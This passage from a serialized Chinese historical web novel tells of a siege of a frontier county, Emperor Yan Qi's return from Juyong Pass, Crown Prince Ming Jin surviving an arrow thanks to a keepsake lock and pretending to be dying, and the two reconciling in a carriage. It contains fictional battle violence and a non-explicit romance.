樊通也勾起唇角,但眼中却不带丝毫笑意。 “我也相信你所相信的。”他说。 那胡人本想强留下樊通,当做人质和筹码,然而明瑾那边早就预料到了他们会这么做,便提前教了樊通应对的策略。 在樊通半是威胁半是劝告地说,县内目前对他这样的青壮每日都有点名统计,自己和乌老三若是消失容易引起不必要的麻烦时,那胡人也只好勉强同意放他们回去了。 总的来讲,过程略有波折,结局不出所料。 当樊通完好无损地带着乌老三从地道回来时,在场的所有人都松了一口气。 “殿下不必担心,”樊通认真道,“就算那胡人想动手,埋伏在四周的兄弟们也能一举把他拿下。” 这也是他们本来的打算,但在从乌老三那儿听闻胡人即将进攻的消息后,明瑾便放弃了这个想法。 “所以,他们是打算提前进攻了。”他看向樊通,见对方微微点头,竟露出一丝笑来。 明敖这次随着他们一起过来了,见状,不禁问道:“马上要开战了,这有何可高兴的?” “我是在替先生高兴。” 明瑾的拇指摩挲着剑柄上的纹路,目光越过众人,投向外面天光大亮的街道,“若是胡人当真大败我军,那一定会不计代价地追捕残军和先生他们,根本不会多此一举,做联系县中内应这等麻烦事。” 只要皇帝在手,区区一个县,还能有抵抗的余地吗? “既然先生没事,那咱们就不必有什么后顾之忧了,”他收回目光,语气肯定道,“出来太长时间,京城那边估计也快发现不对了,先生登基不久,正需要一场大胜仗来巩固人心。” 届时,朝廷某些大臣们对晏珀、前太子和魏家的忠心与怀念,就会像这漫天雪花一样,风一过,便彻底了无痕迹。 夜色归阑。 持续了近一天一夜的风雪仍未止息,家家户户闭门不出,白日里刚被清理的街道再度被积雪覆盖,仿佛一切都悄无声息。 乌老三家中,那条地道内传来悉悉索索的动静,挡板被一个胡人推开,趁着夜色,他警惕地左顾右盼了一番,确认外面没有其他动静后,这才回头招呼起了同伴。 他们的军队已经包围了整座宁昌县,但撒乌楞将军并未下达攻击命令,而是先派他们潜入进县内,和前太子的人接头,准备趁县衙内乱时,用最小的代价拿下这里。 毕竟宁昌县虽为县,百年前却是一座名副其实的边境要塞城池,面积宽广,易守难攻。 加上明瑾之前为了巩固防线的种种举措,这里早已成为了一座名副其实的“冰城”,人脚踩上去都容易摔跟头,更何况是他们的马? 就算撒乌楞生性好斗不惜命,但也没有轻易牺牲珍贵马匹的想法。 “此人性格警惕,从他先前派探子到明光寨周边打探,还刻意避开与陛下的交锋便可见一斑。” 行动开始前,荀婴对张牧和李司叮嘱道:“你们两个,要小心行事,一旦情况不对,立刻赶到主公身边,护送他离开。” “放心吧!” 两人的脸上都写满了忐忑和跃跃欲试,尤其是张牧。 他从小做梦都想带兵打仗,如今明瑾居然一口气拨给他数百人的精锐军,叫他和樊通将军一道,给撒乌楞来个瓮中捉鳖,怎么可能叫他不兴奋? 明瑾则在一旁默默地收拾着东西,他垂眸注视着那枚平安锁,犹豫了一下,还是将它放进了自己怀中。 爹娘,保佑我一切顺利吧。 要是顺利,后面就去给您二老烧纸;要是不顺利……那他就只能去地底下跟您二老抢饭吃了。 “呜——” 随着茫茫夜色中,不知何处的一声号角声响起,一道火光顷刻间蹿上县衙的房梁,照亮了半壁夜空! “走水了,走水了!” 望着远处隐隐传来的呼喊声,和那明亮灼人的火光,撒乌楞的嘴角缓缓扯出一抹狰狞笑意。 听说,晏祁很在乎他这个太子? 想到这些年来自己经受的种种屈辱和折磨,撒乌楞已经迫不及待地想要把那太子的脑袋踩在脚下,再狠狠凌.辱他一番了!最好折断他的四肢,再砍下一只手,装盒送到大雍人的面前。 到时候,晏祁那混账的表情,一定会很好看吧? “所有人听令,随我进城!”他举起手中砍刀,高声呐喊,“活捉大雍太子,其余人等,统统杀光!” 山呼的应和声中,战争一触即发。 “杀——!!!” 居庸关之上,飘扬的胡人旗帜在几番争夺厮杀后,最终还是在胡人守将死不瞑目的注视下,被樊淮一刀砍断。 他浑身浴血,呼出一口几乎能凝成冰碴的白气,一刻也不停地砍翻又一名袭击的士卒,然后高高举起手中的大雍龙纛。 “守将已死,投降不杀!” 火光映耀出那面象征着皇权的龙纛,就连四周震天的喊杀声,仿佛都停了一刹那。 这也是晏祁的冒险之举,他有八成确定,撒乌楞不可能把自己亲至的消息告诉居庸关守军,就算告知,肯定也只有守将一人知晓自己的身份。 果然,在看到那面龙纛后,再听着大雍军队欢呼陛下万岁的场景,胡人军心很快便溃败一地,纷纷丢下武器,跪地投降。 但晏祁只是在那面龙纛树起时,仰头深深望了一眼,像是要把那面染血的旗帜铭刻在心中,待此处战事方才停歇,他即刻便翻身上马准备折返,樊淮吓得连忙点上数百精兵跟上,只匆匆吩咐了一声自己的副官去处理这些降兵,连句多余的话都来不及说。 他望着晏祁迎风冒雪疾驰而去的背影,本想劝说两句,但最终还是闭上了嘴巴,夹紧□□马屁,再度扬鞭。 “驾!”—— 作者有话说:看来见面还是要留到下章写了(下次一定)不过突然发现,不知不觉都九十章了,正好凑个整,百章完结[让我康康]《 》 90-96 第91章 他怎么一点儿都不疼呢?…… 朔风在山林间追逐着旋卷的雪花, 马蹄踏过冰雪,疾驰而来,犹如一道惊天动地的霹雳穿林而过, 溅起一片白色的雪沫。 远远的, 晏祁就望见了天边亮起的火光。 他的一颗心骤然缩紧, 尽管脸颊和四肢都因为长途跋涉近乎失温,寒意更是刺得皮肤生疼, 晏祁的五脏六腑内, 却像是燃起了一把火,令他五内俱焚。 为了这一天,他忍辱负重,足足等待了十几年。 宁昭公主和木先生的仇,他已经叫胡人血债血偿;天下第一雄关, 也再度插.上了昭明军的旗帜; 晏祁本以为, 只要能达成目的, 无论付出什么代价他都不会犹豫。 但在这一刻, 他却真的开始害怕了。 他怎样都没事,但那孩子……明瑾他, 无论如何,都不该成为那个代价! “驾!” 寒风惊飒,扑面而来,身后的队伍隐隐传来一阵骚乱, 是喷着热气的马儿疾驰过后,骤停下来产生的焦躁反应。 奇怪的是, 等他们来到近前,那冲天的火光却消失不见了,就连耳畔的喊杀声都变得渺远起来, 几不可闻。 樊淮勒紧缰绳,座下的马儿踱了两步,很快便在这诡异的氛围中变得安静顺从。他的视线越过茫茫风雪,在被冻成冰墙的防线外看到了胡人士卒堆叠的尸体,但环顾四周,并未发现多少大雍士卒,不由得大大松了口气。 情况应该比最坏的预想要好很多。 他又看向晏祁,男人正紧盯着不远处一处冰墙的缺口,那里有一处血手印,似乎刺痛了晏祁的双眸。 他用力眨了一下眼睛,嗓音嘶哑:“传令下去,清剿胡人,保护太子!” “是!” 宁昌县内,激战仍在继续。 虽说县衙的大火是明瑾等人故意点燃的,很快就被扑灭,但趁势进犯的胡人军队可都是货真价实的敌人。 宁昌县的妇孺老少们,早在开战前就被明瑾·转移到了安全地带,剩下的青壮则随着大雍士卒们一同上街迎敌。 街头巷尾,处处都能听见喊杀声,失去了骑兵的优势,胡人依然能靠体型和蛮力占据上风。 但大雍的精锐军也不是好惹的,加之这里本是他们的主场,各种提前布置好的陷阱、机关,已经足以让胡人狠狠喝上一壶了。 撒乌楞虽然有想过会遭遇到抵抗,但先前在冰墙下的伤亡已经大大超出了他的预料,好不容易用部下的人命撬开一道缺口,刚想狞笑着指挥手下杀光这些抵抗者,活捉太子,就又被拖入到了巷战的泥潭之中,久久难以脱身。 “混账!” 他趟过混着血水的泥泞,用已经有些卷边的砍刀再度砍翻一人,朝着周围的部下怒骂道:“一群废物!连打个县都这么磨蹭,还要你们做什么?都给我打起精神来,一个时辰内,如果不能结束战斗,就等着受罚吧!” 撒乌楞的部下苦不堪言——他们难道不想早点儿结束战斗吗?实在是这帮大雍人太顽强了! 倒了一个又扑上来一个,无论是士卒还是本地青壮,个个悍不畏死,跟他们从前遇到的那些软脚虾完全不同; 而且这里还有层出不穷的陷阱机关,要不是他们这次带来的人足够多,恐怕现在都要自身难保了! 他们之中也有几位征战多年的老兵,甚至都不敢开口。 因为这感觉,简直像是解散了十余年的昭明军,又再度复活了一样! “想一个时辰结束战斗?做梦!” 街道对面,张牧抹了把脸上的鲜血,握紧长刀,紧盯着逐渐朝着县衙靠近的胡人们,露出一抹嘲讽的笑意来。 撒乌楞似有所感,抬头望向这边,张牧的打扮一看就知道不同于普通士卒,他愣了一下,随即哈哈大笑起来。 “这些大雍人,看来真是无人可用了!”他笑道,“竟然让一个毛头小子带兵来堵我,真是可笑!” 胡人们大笑起来。张牧冷哼一声,扬刀喝道:“对面那厮,少在这儿给胡说八道的放屁,赶紧滚过来受死!” “好胆!” 撒乌楞怒吼一声,眨眼间,两股势力便迎面对冲,绞杀在了一处! “报——张小将军正和撒乌楞交战!” 县衙边上的一处民居内,来传信的士卒匆匆禀报道。 明瑾立刻站起身,和荀婴对视一眼,刚要说话,就被荀婴打断:“主公不能去!” 他面色凝重:“撒乌楞既然都到了这里,那他距离县衙也没有多远了,当务之急,还是应该先转移。” 明瑾并不赞同他的看法:“既然已经开战,哪有主将先逃的道理?” “但主公并非主将!此战就交由张牧和樊通他们——” “元栋,”明瑾握住他的手臂,“我并非手无缚鸡之力,县衙周边也都布置好了陷阱,足以迎敌了。” “而且张牧是我的过命兄弟,就像当初的刘玄德与关云长那样,若是连生死兄弟都不顾,我顾惜这条命又有何用?” 这番话,若是当着张牧的面,就算打断明瑾的腿他也说不出来。 但此时此刻,他每一个字说得都是发自内心,毫无半点掺假。 荀婴忽然有种被诸葛丞相附身的痛惜之情,他咬牙道:“主公,汉昭烈帝不就是因此而失了逐鹿天下的机会吗?前车之鉴在先,您为何要一意孤行!” “因为我们在开战前做了充分准备,我相信元栋你的安排,自然有七成把握能赢,若情况危机,我也不会硬撑,会带着张牧他们退回县衙,届时,就麻烦元栋接应了。” 明瑾微微一笑,“放心,我不会死在这里的,我还要活捉那撒乌楞交给先生呢。” 荀婴摇了摇头,还想说些什么,但明瑾已经越过他走向了门外。 在离开前,他回头道:“若今日与撒乌楞交战之人是元栋你,我也依然会做出同样的决定。” 荀婴望着他的背影,片刻后,无奈又怅然地长叹一声。 罢了,摊上这么一位主公,还能怎么办呢? “来人,速速跟上,务必保护好太子殿下!” 晏祁的加入,使这场战争的天平飞快倾倒,大约是撒乌楞也没想到,号称是天下第一雄关的居庸关,守将居然能败得如此之快,毕竟当初胡人攻克这一关隘,用的时间可是以年做单位。 但他不知道的是,晏祁为了打赢这场战役,曾独自对着地图做过多少次推演。 居庸关的每一处地形,甚至是一草一木,早就深深地烙印在了他的脑海里。 当下,他无比感激曾经冥思苦想战术的自己,但随着军队的推进,看见街头巷尾越来越多的残肢尸体,有胡人的,也有大雍人的,他心中的惶恐也开始愈演愈烈。 他应该再早些回来的。 或者留下更多的人保护那孩子。 虽然当初临走前,晏祁已经尽量精简队伍,只带必要的人手突袭,但看着眼前这惨烈的景象,他还是免不了升起一股恓惶危惧之感。 他无法想象自己匆匆赶来,却只看见一具苍白冰冷的尸首躺在那里,再也不会生机勃勃地瞪眼跟他斗气,也不会黏黏糊糊地凑上来讨要一个拥抱,甚至就连一句话没没法对他说,那究竟会是怎样一幕叫人肝肠寸断的场景。 不,不会的。 那孩子傻人有傻福,况且他虽然调皮闹腾了些,关键时刻还是很懂得明哲保身的。 晏祁一遍又一遍地告诉自己,不必着急,撒乌楞没那么大的本事,但理智与情感的交锋中,终究是后者慢慢占据了上风。 “陛下小心!” 樊淮反手一挥,帮晏祁用刀挡住了一支飞射而来的箭矢。他担忧地注视着晏祁不知何时已经布满狰狞血丝的金眸,正要开口,忽然听前方有人喊道:“撒乌楞在这里!” 两人霍然抬头。 “还有太子殿下——”那人都没来得及说完,就被疾步冲上来的晏祁拨到了一边,晕头转向地险些撞到墙上,又被匆忙跟上的樊淮一把扶正。 “赶紧叫周围的人都过来!”他脸色紧绷地命令道。 陛下和太子都在这里,要是出了什么事,他樊家九族都不够赔的! 拐过弯,众人终于看见了县内交战的主力,晏祁眯起眼睛,盯着那个和撒乌楞过招的年轻人,虽然脸庞被血污覆盖,但他还是一眼就认出了张牧。 “陛下!” 张牧的余光也注意到了他,顿时大喜。 撒乌楞被他喊愣了,刚想回头,就被张牧一刀削去了几缕头发,若不是他躲闪得快,估计这一刀既要砍到他的脖颈上了,吓得他出了一身白毛汗。 张牧见没有得手,十分遗憾地啧了一声。 见鬼的怪力小子! 撒乌楞暗骂一声,不愿承认自己竟然落了下风,但现在最重要的是晏祁那边——他果断退后几步,叫士卒先顶上包围张牧,率领精锐朝着晏祁狞笑着扑来。 “放羊的小子,就你也配做皇帝?哈哈哈哈,你们大雍真是个彻头彻尾的笑话!” 他满口辱骂,妄图用言语动摇晏祁和大雍士卒的军心,说晏祁当初北上是给他们胡人当牛做马的,还说他后来连帐篷都不配睡,只能被他赶去睡羊圈,每天和牛马作伴,下贱到不行…… 但撒乌楞的挑衅,却对眼前的战局只起到了反效果。 正所谓主辱臣死,周围包括樊淮等人在内,听到这些话只觉得怒发冲冠,双目赤红,恨不得活剥了这混蛋的皮! “谁允许你开口的?满嘴喷粪的玩意儿!” 一声清亮的怒吼从街边的楼顶响起,晏祁猛然抬头,发亮的金眸直直对上了明瑾那双盛满怒火的漆黑眼睛。 明瑾只看了他一眼,就移开了视线,重新把目光投向了人群中的撒乌楞。虽说他是第一次见到这个胡人,但内心的憎恶已然达到了顶点。 虽然他对晏祁怨气也颇大,但这不是什么阿猫阿狗都能随便侮辱先生的理由! “去死吧,狗东西。”他一字一顿道。 “放箭!” 两边街道上埋伏的弓弩手齐齐松开弓弦,铺天盖地的箭雨齐射而下,随之而来的,是胡人的阵阵惨叫声。 撒乌楞靠着身边副将的保护,险之又险地避开了那瞄准自己胸口的箭矢,但肩膀还是被一支箭矢洞穿,疼得他大叫一声。 晏祁心头的一块大石骤然落地,他看着沉着脸指挥众人作战的明瑾,唇边不自觉地勾起一抹笑意。 “撒乌楞,投降吧。”他用胡人语淡淡说道。 “做梦!” 撒乌楞骂了一声,勉强握紧砍刀,但明眼人都能看出来,他也已经是强弩之末,撑不了多久了。 外围的不少胡人已经四散而逃,有的干脆丢下武器投降,明瑾见状,干脆从楼顶一跃而下,动作倒是十分潇洒,只是看得晏祁眼皮直跳。 心道这小混蛋可真是翅膀硬了,什么动作都敢做。 “还好吗?” 明瑾虽然刚才气得要死,但这会儿却连一个眼神都不分给晏祁,他走到张牧身边,皱着眉头盯着对方身上大大小小的伤口,伸手想要扶张牧,但被推开了。 “祖宗,我好得很,你可别坑我啊,”张牧从牙缝里挤出一句话。 明瑾笑了,刚想说些什么,突然脸色一变,下意识推开了张牧。 “小心!” 一支箭矢从斜地里飞来,直直地没入了他的胸口,明瑾低头看了一眼,还没完全反应过来,身子却下意识晃了晃。 晏祁嘴角淡淡的笑意顷刻间僵在了脸上,张牧那张脸更是惨白如雪。 现场霎时陷入了一片死寂。 “哈哈哈哈哈!活该!”正苦苦坚持想要突围出去的撒乌楞也愣住了,最后止不住地狂笑起来,朝着远处那射.出冷箭胡人士卒大声赞美道,“好箭!好箭呐!” “明瑾!”“瑾儿!”“太子殿下!” 四面八方的人都在朝这里奔来,楼上的明敖和文轻尘霍然失色,当即丢下弓弩跳下来,但晏祁比他们更快。 他一把推开张牧,抱着明瑾,动作小心得像是捧起一片残雪。 晏祁瞳孔在极度的惊怒和恐惧之中骤然收缩,霜白干裂的嘴唇嚅动着,却颤抖着说不出话来。 男人冰冷的指尖拂上明瑾的脸颊,明瑾缓缓眨了一下眼睛,望着晏祁那双赤红金眸中飞速积蓄的泪水,心想,难道自己要死了吗? 可是…… 他怎么一点儿都不疼呢?—— 作者有话说:小明同学:[问号][问号][问号] 第92章 论大逆不道,这天下没人…… 明瑾疑惑地用手摸了摸胸口。 指尖在那支箭矢没入的位置摸索了两下, 按压到了某种坚硬的触感。 他恍然大悟,想起了开战前自己藏在怀中的那枚平安锁。 爹娘果真在天上又保佑了他一次。 明瑾后知后觉,自己这次是真的命大, 但凡没有这枚平安锁挡着, 以这一箭射.出的力道来看, 恐怕现在他早就断气儿了。 他扯出一抹笑容,刚想对晏祁解释, 一滴泪水倏忽顺着男人苍白的脸颊滑落, 砸在了他冰凉的额上。 明瑾呼吸一窒。 他睫羽轻颤,下意识睁大了眼睛。 想要抬手,五指却被晏祁紧紧握住。晏祁的动作犹如捧起一片羽毛般小心翼翼,但那掌心却止不住地颤抖着。 明瑾恍然以为,是自己出现了幻觉。 但男人那双金眸中积蓄的泪水, 又分明做不得假。 明瑾从未见过晏祁露出如此……甚至不能称得上是绝望, 只能说是一种毫无生气的空洞神情。 在他记忆中, 哪怕是在遭到晏珀处处打压针对、犹如行走在钢索之上岌岌可危的处境之中, 晏祁也只是眉宇间萦绕着一丝淡淡的疲惫倦怠,但那双金眸永远是明亮而坚韧的。 然而现在, 晏祁那双金眸却应激般地睁大,目眦欲裂般死死地盯着他,像是被人瞬间抽去了魂魄,在风雪中凝结成了一尊死气沉沉的雕塑。 周围的人纷纷围过来, 个个神情悲戚,双目含泪, 倒是那撒乌楞被暴怒之下的樊通一脚踹翻,压在地上时,仍嘲讽地狂笑不止。 “活该!活该啊哈哈哈……” “闭嘴!”樊淮冲上前, 一脚踹在他的小腹上,把撒乌楞踹得当场呕出一口血来,咧着满是鲜血的嘴,发出赫赫的怪异声音。 “抓住那王八蛋,别让他跑了!” 他猛地扭头,狂怒地瞪向那边射.出冷箭的胡人,“敢对太子殿下动手,老子要将他抽筋扒骨!” 周围的一切喧闹都仿佛隔了一层屏障,晏祁听不见樊淮的呼号,也听不见明敖和文轻尘等人带着泣音的哭喊,更看不见张牧那毫无血色的呆立模样。 他只徒劳地张了张嘴,轻声唤了一声明瑾的名字。 明瑾…… 明瑾只用一秒就接受了自己快要入土的事实。 虽然按理来说,那胡人弓手射.得还挺准的,正中心脏,正常人不该像他这样坚持这么久,更不该半天了躺在晏祁怀里一动不动地发呆。 但晏祁关心则乱,现场好像也没人注意到他压根儿没流血——当然,也可能是明瑾因为先前砍了两个胡人,身上本就溅了不少血,与尘埃斑驳混杂在一处,根本分不清楚是不是自己的。 他从喉咙里压出一串沉闷咳嗽,颤颤巍巍地抬起手,拂上了晏祁的脸颊:“先生……” 晏祁颤抖着挤出一声回应。 他看上去要碎了。 明瑾心里闪过一米米的愧疚。 但不多。 活该啊活该,心里的小人得意地叉腰,但他跟撒乌楞那王八蛋想的可不一样,明瑾只觉得,这是晏祁擅自丢下自己的报应。 要不是他还记得,自己现在扮演的是个奄奄一息下一秒就要入土的角色,恐怕嘴早就咧到耳后根去了。 越想明瑾的喉咙眼痒得越厉害,笑意像是风疹一样飞速蔓延到身体表面,叫他不得不拼劲全力才抑制住。 晏祁却又误会了什么,他急促地喘着气,那仓皇无措的表情明瑾看在眼里,只觉得又心疼又想笑。 最后他实在没忍住,笑意被半道强行变成咳嗽,从胸膛深处发出一阵阵古怪沉闷的响声,抚摸着晏祁脸颊的手也垂落下来,但被晏祁一把握住,死死地扣在掌心。 “坚持一下,”他喃喃道,“再坚持一下,求你了——军医!军医在哪儿?” 晏祁蓦然抬头,嗓音哑得近乎嘶吼。 但是激烈交战的战场中心,一时半会儿的,哪里能寻得到军医来? 明瑾也赶紧拽了拽他的衣襟,“虚弱”地小声说道:“不必喊军医了,先生,我自己的情况我自己清楚。” 不但半点伤没有,生龙活虎活蹦乱跳,甚至浑身有劲儿地可以打死一头牛! 但晏祁现在哪里听得了这种话,他呼吸急促地摇了摇头,又把明瑾往怀里搂了搂,用身躯为他遮挡住风雪。 “别说傻话。”他颤声道。 一旁的明敖和文轻尘对视一眼。 到底是自己养出来的小子,虽然刚开始确实被吓了一跳,险些魂飞魄散,但这会儿他们已经看出来不对了,脸上焦急惊惧的神色逐渐变为了无语。 明敖低声问道:“夫人,要不要提醒一下陛下?” 文轻尘嘴唇几乎不动:“你去?” “……我不敢。” “那你说这。” 最后,两人默默地把张牧和匆匆赶来的荀婴拉远了些。 不然等下这臭小子挨揍的时候,波及到无辜就不好了。 明瑾不似晏祁,现在满心满眼只有自己一个,吃一堑长一智,时刻留意着周边情况的他余光自然注意到了爹娘的动作,顿时心里也有点儿怂。 算了,能看到先生这样为他着急落泪,已经够本了。 他就再说一句话。 于是明瑾再次拽了拽晏祁的衣襟,示意他低下头。 晏祁的眼眸胀痛,在他眼里,怀中的少年恍然已是回光返照的模样。 但这孩子仍强作微笑地望着自己,但视线只是短暂地交汇,那清亮的目光便闪烁着避开了与他的对视。 像是在弥留时分强忍着悲伤,遗憾他们此生难以厮守一样。 这一刻,晏祁恨极了自己。 他总以为,明瑾还年轻,往后有大好岁月,漫漫余生可以消磨,因此此前才会压抑自己的感情,对这孩子热烈的真心一避再避,一退再退; 可若是早知他们相伴时间不过寥寥数年,他又为何要如此! 到头来,只落得个白发人送黑发人的结局,还让这孩子带着满心遗憾与不甘离去…… 正当万箭穿心之际,怀中的少年动了动,在皑皑白雪下显得格外红润的唇凑到他的耳畔,低声道: “老家伙,下次再敢丢下我一个招呼都不打就跑了,再过几十年你老了,一定把你绑在椅子上看我跟三个脱衣舞娘跳胡旋舞!” 晏祁:“…………” 泪水干涸得十分迅速,他脸色木然地看着明瑾哈哈一笑,从自己怀里一下子跳起来,跟拔萝卜似的轻巧拔出了胸口的箭矢,随手丢到边上,又在众人目瞪口呆的视线中掏出那枚平安锁,只一眼,便勃然大怒。 “居然坏了道缝!”明瑾不可置信地嚷嚷起来,“居然坏了道缝了!这可是我娘留给我的长命锁!!!” 他出离地愤怒了,冲到同样一脸不可思议的撒乌楞面前,揪起这人的毛领,当众“啪啪”甩了他俩耳光,便打还边喊: “居然坏了道缝!不可饶恕!!” 撒乌楞险些吐出一口老血来,他被打得脸都肿了,一双眯缝眼死死瞪着方才还一副马上就要断气模样的明瑾,含糊着喊道:“你不是要死了吗?” “你才要死了,你全家都要死了!”明瑾骂道,又毫不客气地扇了他俩嘴巴子,“不对,你全家死了小爷我也不会死!” “还有,你刚才是不是骂先生来着?该打!” 他再度高高扬起巴掌,忽然,身后一只手按在了他的肩膀上。 明瑾下意识回头,对上了晏祁那双眼尾尚带着几许殷红的金眸。 他顿时讪笑一声:“先……父皇,儿臣在帮您教训这大逆不道之徒呢。” “先别父皇了。”晏祁哑声道。 一双眼睛仍一眨不眨地盯着明瑾,像是在确定他不是自己的幻觉似的,“论大逆不道,这天下没人赶得上你。” 冷汗瞬间爬满脊背,明瑾心虚得厉害,下意识把求救的目光投向晏祁后方的亲友们。 然而爹娘只是一个瞧地一个望天,一看就不是他们亲生的;荀婴面无表情地叫人把俘虏都押走,还把李司拉走了,完全不搭理这边;至于张牧…… 虽然很感动,但他也被明瑾的演技吓得不轻,最绝望的时候,连自己的死法都想好了。 万幸明瑾现在没事儿,张牧发自内心地松了一口气,但他越想越来气,和明瑾遥遥对视一眼,冷哼一声,横手在脖颈前划了一道,示意你小子死定了。 靠,关键时刻插兄弟一刀!早知道不救你了! 明瑾痛心疾首地盯着他,还没等眼神交流多久,晏祁的大手就死死捏住了他的下巴,将他的头掰了回来。 “还往哪儿看?”他轻柔道。 明瑾秒怂。 “我错了。”他老实道。 晏祁轻笑一声。 大庭广众之下,他没有选择继续和明瑾掰扯这些,反正他们来日方长,只是反手握住了少年的手腕,将人拉到了自己身后半步,然后居高临下地盯着被压在地上、还被明瑾扇了数巴掌犹如丧家之犬般的撒乌楞。 “朕十几年前就说过,”他淡淡道,“想赢我?下辈子吧。” 撒乌楞呆了数息,随后脸色陡然狰狞起来。 “晏祁你——呜呜呜呜!!!” 明瑾眼疾手快地把一团布塞进他那张臭嘴里,至于布怎么来的……地上不到处都是胡人的尸体吗? 反正能叫这混蛋乖乖闭嘴就行。 “把人带走,”晏祁吩咐道,“先用囚车押送回京,游街示众,等瓦图尔的使者来了,再跟他们谈交换俘虏的条件。” 樊淮立刻上前一步:“是陛下。” 就是回答得太迅速了,颇有种恨不得自己立刻消失的感觉。 但就算真把撒乌楞送回去,也得先废了这人。 这句话晏祁没有挑明,不过在听到自己堂堂一位部族首领、胡人的勇士猛将居然要被屈辱地游街,撒乌楞已经怒急攻心,一口气没顶上来,当场晕了过去。 “现在……” 晏祁缓缓转过身,定定地看向已经几度试图溜走、但被自己牢牢抓住手腕无处可逃的明瑾。 在这小混蛋明明心虚得要死却强作镇定的注视下,他微微一笑: “该清算一下咱们之间的问题了。”—— 作者有话说:人不作,就不会死[求你了][求求你了]小明同学总是能想尽办法让自己的屁股开花,为他点蜡.jpg 第93章 老东西,又开始翻旧账乱…… 连日的大雪终于停了。 晏祁带着明瑾从居庸关祭拜回来, 便立刻吩咐众人,趁着天色放晴,赶紧收拾好行囊, 出发回京。 一直提心吊胆的明瑾没想到他最先要做的居然是这件事, 但不妨碍他暂时松了口气。 而当他被晏祁带着, 真正来到居庸关的古城墙上时,望着不久前刚刚发生的酷烈战争遗迹, 和那面在寒风中招展飘扬的昭明军旗帜, 心中未免也升起了万千思绪怅念。 这是他第一次直面真正的战场。 明瑾曾见过行刑现场,回去后做了好几天噩梦,刺鼻的血腥味仿佛一直萦绕在鼻尖久久不散,一道天黑就感觉有怨魂索命,最后是闹着央求晏祁讲故事, 还要陪他睡觉才罢休。 现在他长大了, 可以冷静地下令对准敌人放箭, 甚至亲自指挥一场防卫战, 但还是远远比不上十几年前,在这里发生的那场战役。 要是能见他们一面就好了, 他想。 虽然文轻尘给了他足够多的母爱,但宁昭公主,这个被世人成为大雍百年第一奇女子的女将军,毕竟是不同的; 还有木帆。 明瑾看了许多他留下的注释书籍, 有丁弘毅送给他的,有从家里找到的, 也有先生保存下来的。 越看他就越觉得,他的这位生父,一定是个渊博、温和又坚持自我原则和底线的成熟男人。 也难怪能教导出先生这样的人。 他和晏祁在父母的碑前上了三株清香, 里面没有尸骨,只是个衣冠冢,但明瑾还是认认真真地给他们磕了头。 感谢他们生下自己,养育了晏祁;更感谢他们在十几年后,又再度让他们相遇,一直在上天保佑着两人平平安安。 “走吧。”晏祁对他说。 等坐上了马车,反应过来又到了两人独处的空间时,明瑾眼皮一跳,立马绷紧了神经—— 要命! 刚才上香的时候,居然忘了恳求爹娘再保佑他一次了! 怅然的情绪霎时间消散无踪。取而代之的,是害怕被晏祁事后清算的惴惴不安。 先前晏祁秋后算账的那一次给他留下的“印象”,实在是过于深刻了,要不是后面接二连三发生了这么多事,明瑾都要怀疑自己会留下心理阴影。 他一上车就默默地缩在车厢角落里,听着晏祁和外面人讲话,待到离开宁昌县,更是全程闭着眼装睡,打定主意车不停绝对不睁眼。 晏祁对他的小心思洞若观火。 不过,还是那句话: 跑得了初一,跑不了十五。 但他也在反省自己,都说人之将死其言也善,自己一直不敢真正面对内心,屡次回避,直到这孩子连夜逃离京城、这次又狠狠吓了他一回,这才叫他真正看清楚了自己想要的东西。 人生苦短,年华已逝,曾经他以为自己明白的道理,如今居然还要一个孩子反过来教会他。 真是越活越回去了,晏祁叹息着心想。 他这边沉浸在自己的思绪中,久未出声,缩在角落里的明瑾却忍不住了,偷偷掀起眼皮,睁开一条缝小心翼翼地窥探,没成想一个颠簸,正好对上了晏祁似笑非笑的金眸。 明瑾立马重重地闭上了眼睛。 因为用力过度,少年连鼻头都皱成了一团。 他什么都没看到! “行了,不必装了,”晏祁淡淡道,“过来。” 当他傻吗?才不去! 明瑾在心里硬气地冷哼一声,但表面上,只是警惕地睁开乌溜溜的眼睛,防御性地抱臂,甚至还把自己又往车厢角落里塞了塞。 “不就耍了你一回嘛,又没什么损失,小气鬼。”他小声嘟囔道,“我都还没消气呢。” 倒还埋怨上他了? 晏祁挑眉。 “放心,不罚你,”他说,“关于这次的事情,朕……我的确要跟你道声歉。” 明瑾被自己呛到了。 他咳嗽两声,不可置信地瞪着神情平静的晏祁,又掀起车帘,看了看外面的天色——不是,今儿太阳打西边出来了? 晏祁趁机抓住少年细瘦的腕子,手上一个用力,就把人拽进了自己怀里。明瑾哎呦一声,脊背下意识紧绷,想要逃开,车厢又是一震,叫他毫无防备跌进了晏祁怀中。 怎么回事,今天这马车克他啊? 明瑾欲哭无泪,看得晏祁有些好笑,慢斯条理地伸出手,捏了捏他的耳垂,“怎么,道歉了还不高兴?那你说,要什么补偿。” “你……真没生气?” 晏祁搂着他的腰,颇有深意地反问道:“你很希望我生气?” 明瑾拨浪鼓式摇头。 “被你吓了一跳,但也想明白了一些东西,”晏祁把脑袋搁在他的肩膀上,静静地说,“虽然答应过你,要同你共度余生,但这么多年下来,有些行为方式还是习惯了,难改。” 被这么一哄,明瑾的气一下子就散了个七七八八。 “但是……” 晏祁收紧手臂,感受着怀中紧贴着的温度和有力跳动着的心脏,他叹息道:“这一次,你是真把我吓到了。” 明瑾顿时愧疚起来,转过身,别别扭扭地道歉:“我也有错,不该那么吓你。” 晏祁眼中闪过一丝套路成功的笑意。 这招以退为进,果然好用。 他早就看出来明瑾的性格是吃软不吃硬,所以听到这话,也没怎么吭声,只是长叹一声,什么话都没说。 明瑾被他叹得有些坐立不安,他竭力在这个密不透风的怀抱中又扭了扭身子,想了想,既然先生都愿意主动跟他道歉了,那他也哄一哄对方,倒也没什么问题。 于是他放低声音问道:“好嘛,别气了,你要怎么才能原谅我?” 晏祁偏开头,但依旧抱很紧。 主要目的,是为了让明瑾不要注意到他唇角几乎抑制不住的上扬冲动。 明瑾急了:“你怎么不说话?再不说话我就……我就要亲你了!” 晏祁终于忍不住了,胸腔震动着,发出了沉闷的低笑声,明瑾这才反应过来自己被耍了,立刻瞪圆了眼睛,但还没来得及抗议,唇就被精准地捕捉,一道轻飘飘的声音钻入耳廓: “张嘴。” 明瑾下意识遵从,但很快男人含混的笑声和“真乖”的夸奖就让他再度恼羞成怒起来,四肢挣扎着要脱离这个怀抱,但被晏祁毫不留情地镇压,喉结滚动着吞咽,眼神也逐渐迷蒙起来。 “等……别、不要又在这里……” “车里不好吗?省力。” 你是省力了!我呢? 明瑾怒视着这神情自若的老流氓,好不容易被放过,他撑在晏祁的身上,大口大口地喘着气,嘴里还嘟囔着什么“欲求不满的老家伙”、“这么多年真是看错你了”。 